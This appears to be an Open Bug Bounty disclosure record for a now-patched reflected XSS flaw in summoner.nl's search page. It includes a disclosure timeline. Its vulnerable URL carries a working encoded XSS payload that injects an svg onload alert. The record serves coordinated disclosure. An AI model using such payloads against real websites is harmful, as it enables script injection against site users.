Lucene search

K
openbugbountyIwoodythecowboyOBB:216322
HistoryFeb 28, 2017 - 5:05 p.m.

summoner.nl XSS vulnerability

2017-02-2817:05:00
iwoodythecowboy
www.openbugbounty.org
9
Vulnerable URL:
http://www.summoner.nl/search.php?searchString=%22%3E%3C/title%3E%3C/script%3E%27%3E%3Csvg/onload=alert(/OPENBUGBOUNTY/)%3E
Details:
Description Value
Patched: Yes, at
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 1023749
VIP website status: No
Check summoner.nl SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 28 February, 2017 17:05 GMT
Generic security notifications sent to website owner 28 February, 2017 17:07 GMT
Notification sent to subscribers (without technical details) 28 February, 2017 18:17 GMT
Vulnerability details disclosed by researcher 21 March, 2017 17:14 GMT
Vulnerability patched by the website owner 22 March, 2017 08:35 GMT